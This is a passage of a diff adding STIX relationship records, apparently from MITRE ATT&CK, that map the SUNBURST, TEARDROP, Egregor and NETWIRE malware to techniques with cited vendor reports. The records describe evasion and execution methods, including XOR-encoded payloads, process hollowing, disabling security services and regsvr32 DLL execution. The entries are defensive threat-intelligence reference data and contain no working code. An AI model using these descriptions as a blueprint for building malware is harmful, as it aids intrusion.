"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected hostname, OS version, and device uptime.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--142afe71-581e-415e-9867-97ac0aaded65", + "type": "relationship", + "modified": "2021-01-06T16:56:56.352Z", + "created": "2021-01-06T16:56:56.352Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used the WMI query Select * From Win32_SystemDriver to retrieve a driver listing.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--088f896a-59a4-4bce-aacf-3a1f0d6c4237", + "type": "relationship", + "modified": "2021-01-06T16:56:56.356Z", + "created": "2021-01-06T16:56:56.356Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used Base64 encoding in its C2 traffic.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--2db32876-d6f5-4862-b760-f0a9dfb28c3c", + "type": "relationship", + "modified": "2021-01-10T17:15:23.266Z", + "created": "2021-01-06T16:56:56.360Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) remained dormant after initial access for a period of up to two weeks.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--0648b4df-ad84-4c94-8a0c-16e392f80f82", + "type": "relationship", + "modified": "2021-01-06T16:56:56.358Z", + "created": "2021-01-06T16:56:56.358Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) delivered different payloads, including [TEARDROP](https://attack.mitre.org/software/S0560) in at least one instance.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--e83fb711-3ce0-4c6a-a8b2-0efb96551b99", + "type": "relationship", + "modified": "2021-01-06T18:04:46.296Z", + "created": "2021-01-06T16:56:56.420Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "external_references": [ + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) checked the domain name of the compromised host to verify it was running in a real environment.(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--c911e8d7-be27-48cf-8f5a-0be56cbe6592", + "type": "relationship", + "modified": "2021-01-06T17:15:47.537Z", + "created": "2021-01-06T17:15:47.537Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "FireEye SUNBURST Additional Details Dec 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", + "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.(Citation: FireEye SUNBURST Additional Details Dec 2020)", + "relationship_type": "uses", + "id": "relationship--076141ed-10e8-4161-9cca-de1819f9cbdc", + "type": "relationship", + "modified": "2021-01-10T18:09:07.618Z", + "created": "2021-01-06T17:15:47.540Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Check Point Sunburst Teardrop December 2020", + "url": "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "description": "Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) created and read from a file with a fake JPG header, and its payload was encrypted with a simple rotating XOR cipher.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Check Point Sunburst Teardrop December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--570df7f7-f2d5-4de9-ba74-4adfa99e980f", + "type": "relationship", + "modified": "2021-01-25T18:11:07.709Z", + "created": "2021-01-06T17:34:44.009Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) checked that HKU\\SOFTWARE\\Microsoft\\CTF existed before decoding its embedded payload.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021) ", + "relationship_type": "uses", + "id": "relationship--184739bd-f45e-4f2b-8caf-19e2cb30ae92", + "type": "relationship", + "modified": "2021-01-25T18:11:07.705Z", + "created": "2021-01-06T17:34:44.012Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--b6cbadd0-3a5f-4944-9149-2d225f5a5a80", + "type": "relationship", + "modified": "2021-01-06T17:44:33.176Z", + "created": "2021-01-06T17:44:33.176Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--aa4ac94c-705e-4215-8d52-a97b583b62c5", + "type": "relationship", + "modified": "2021-01-06T17:51:12.897Z", + "created": "2021-01-06T17:51:12.897Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) files had names that resembled legitimate Window file and directory names.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--b695f761-40ed-4988-935c-a1cf5e67c8d8", + "type": "relationship", + "modified": "2021-01-25T18:11:07.736Z", + "created": "2021-01-06T17:58:29.248Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "external_references": [ + { + "source_name": "Check Point Sunburst Teardrop December 2020", + "url": "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "description": "Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) ran as a Windows service from the c:\\windows\\syswow64 folder.(Citation: Check Point Sunburst Teardrop December 2020)(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--9d70b17c-d3b7-43a2-9c35-d0b80bec2ec0", + "type": "relationship", + "modified": "2021-01-06T19:09:59.099Z", + "created": "2021-01-06T17:58:29.262Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Check Point Sunburst Teardrop December 2020", + "url": "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "description": "Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) was decoded using a custom rolling XOR algorithm to execute a customized [Cobalt Strike](https://attack.mitre.org/software/S0154) payload.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Check Point Sunburst Teardrop December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--bccf4511-1e01-42ed-ab75-65d558e3fa3f", + "type": "relationship", + "modified": "2021-01-25T18:11:07.713Z", + "created": "2021-01-06T17:58:29.278Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has communicated with its C2 servers via HTTPS protocol.(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--c18699a3-915b-4c5f-b81a-a248cb558aaa", + "type": "relationship", + "modified": "2021-03-22T22:05:59.533Z", + "created": "2021-01-06T22:00:01.039Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "external_references": [ + { + "source_name": "JoeSecurity Egregor 2020", + "url": "https://www.joesandbox.com/analysis/318027/0/html", + "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used regsvr32.exe to execute malicious DLLs.(Citation: JoeSecurity Egregor 2020)", + "relationship_type": "uses", + "id": "relationship--b3cb9975-adb2-422c-a8b3-0b1ea230d4e4", + "type": "relationship", + "modified": "2021-03-22T22:05:59.568Z", + "created": "2021-01-07T20:28:30.061Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "JoeSecurity Egregor 2020", + "url": "https://www.joesandbox.com/analysis/318027/0/html", + "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) contains functionality to query the local/system time.(Citation: JoeSecurity Egregor 2020)", + "relationship_type": "uses", + "id": "relationship--4467fb1b-60fe-4e13-a32a-8c1f60a66782", + "type": "relationship", + "modified": "2021-01-07T20:28:30.072Z", + "created": "2021-01-07T20:28:30.072Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "JoeSecurity Egregor 2020", + "url": "https://www.joesandbox.com/analysis/318027/0/html", + "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can perform a long sleep (greater than or equal to 3 minutes) to evade detection.(Citation: JoeSecurity Egregor 2020)", + "relationship_type": "uses", + "id": "relationship--1492575f-9e3d-4ba0-ae2d-66711120adf6", + "type": "relationship", + "modified": "2021-01-07T20:28:30.077Z", + "created": "2021-01-07T20:28:30.077Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + }, + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through use of VBScripts.(Citation: FireEye NETWIRE March 2019)(Citation: Proofpoint NETWIRE December 2020)", + "relationship_type": "uses", + "id": "relationship--4647d052-512b-41cf-a8db-cb33c49edc90", + "type": "relationship", + "modified": "2021-01-12T18:29:41.671Z", + "created": "2021-01-07T20:35:35.791Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + }, + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + }, + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through luring victims into opening malicious documents.(Citation: FireEye NETWIRE March 2019)(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)", + "relationship_type": "uses", + "id": "relationship--38a6e4b2-40c2-41f2-a415-7fbf586cc232", + "type": "relationship", + "modified": "2021-01-12T18:29:41.661Z", + "created": "2021-01-07T20:35:35.815Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + }, + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021." + } + ], + "description": "The [NETWIRE](https://attack.mitre.org/software/S0198) payload has been injected into benign Microsoft executables via process hollowing.(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)", + "relationship_type": "uses", + "id": "relationship--d7e049fb-ac90-4e93-8907-eca54ba04ebd", + "type": "relationship", + "modified": "2021-01-11T19:46:57.335Z", + "created": "2021-01-07T20:35:35.817Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + } + ], + "description": "The [NETWIRE](https://attack.mitre.org/software/S0198) binary has been executed via PowerShell script.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--500c36bc-9f08-404c-9aa6-38680c529ced", + "type": "relationship", + "modified": "2021-01-07T20:40:41.530Z", + "created": "2021-01-07T20:40:41.530Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has used a custom obfuscation algorithm to hide strings including Registry keys, APIs, and DLL names.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--4a339bd7-d356-44fb-9677-8f082af2fc11", + "type": "relationship", + "modified": "2021-01-08T18:54:06.877Z", + "created": "2021-01-07T20:40:41.535Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has used web services including Paste.ee to host payloads.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--a23f92a2-b88c-4cb0-b028-1883a5a38377", + "type": "relationship", + "modified": "2021-01-07T20:47:08.652Z", + "created": "2021-01-07T20:47:08.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "external_references": [ + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can conduct Active Directory reconnaissance using tools such as Sharphound or [AdFind](https://attack.mitre.org/software/S0552).(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--afeb1494-e640-410c-8e81-62970e22f8a7", + "type": "relationship", + "modified": "2021-03-22T22:05:59.635Z", + "created": "2021-01-07T20:50:42.063Z" + }, + { + "created_by_ref": 